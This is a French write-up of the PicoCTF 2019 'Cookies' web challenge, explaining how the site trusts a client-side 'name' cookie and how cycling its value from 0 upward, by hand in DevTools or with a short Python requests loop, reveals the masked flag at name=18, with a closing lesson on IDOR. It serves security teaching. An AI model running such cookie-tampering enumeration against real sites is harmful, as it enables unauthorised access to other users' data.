Le site utilise un cookie name pour afficher différents types de cookies (nourriture). En énumérant les valeurs de 0 à 18 via les DevTools, on trouve le flag à name=18.
| Plateforme | PicoCTF 2019 |
| Catégorie | Web Exploitation |
| Points | 150 pts |
| Difficulté | Débutant |
| Technique | Manipulation de cookies HTTP |
Le challenge présente un site sur le thème des cookies (biscuits). La description indique :
"Who doesn't love cookies? Try to figure out the best cookie! http://2019shell1.picoctf.com:21485"
Un formulaire permet de chercher un type de cookie par son nom. L'objectif est de comprendre comment le site gère ses cookies côté client.
On ouvre le site et on soumet une recherche avec le mot snickerdoodle (proposé par défaut). La page affiche : "I love snickerdoodle cookies!"
On ouvre les DevTools (F12) → onglet Application → Cookies. On observe :
name=0
La valeur est un entier. Le site associe chaque type de cookie à un identifiant numérique.
Si name=0 correspond à "snickerdoodle", il y a sûrement d'autres valeurs — ou le flag. On énumère. Deux approches :
Dans les DevTools → Application → Cookies, on change name à 1 et on recharge. On continue à incrémenter :
name=0 → snickerdoodle
name=1 → chocolate chip
name=2 → oatmeal raisin
name=3 → gingersnap
...
name=18 → [FLAG]
import requests
url = "http://2019shell1.picoctf.com:21485/"
for i in range(25):
cookies = {"name": str(i)}
r = requests.get(url, cookies=cookies)
if "picoCTF" in r.text:
print(f"[+] Flag trouvé avec name={i}")
start = r.text.find("picoCTF{")
end = r.text.find("}", start) + 1
print(r.text[start:end])
break
else:
print(f"[-] name={i} : pas de flag")
[-] name=0 : pas de flag
[-] name=1 : pas de flag
...
[+] Flag trouvé avec name=18
picoCTF{***************************}
Le flag est volontairement caché — suis la méthode, tu l'as mérité. 💪
Ce challenge illustre un problème de contrôle d'accès côté client : le serveur fait confiance à la valeur d'un cookie sans la valider. En manipulant name, on accède à du contenu caché.
Dans un vrai contexte, ce type de vulnérabilité peut exposer des données d'autres utilisateurs (IDOR — Insecure Direct Object Reference) ou des endpoints d'administration.
requests est une compétence de base en web CTFDiscute de ce writeup avec la communauté dans le Discord CTFdojo.
Rejoindre le Discord →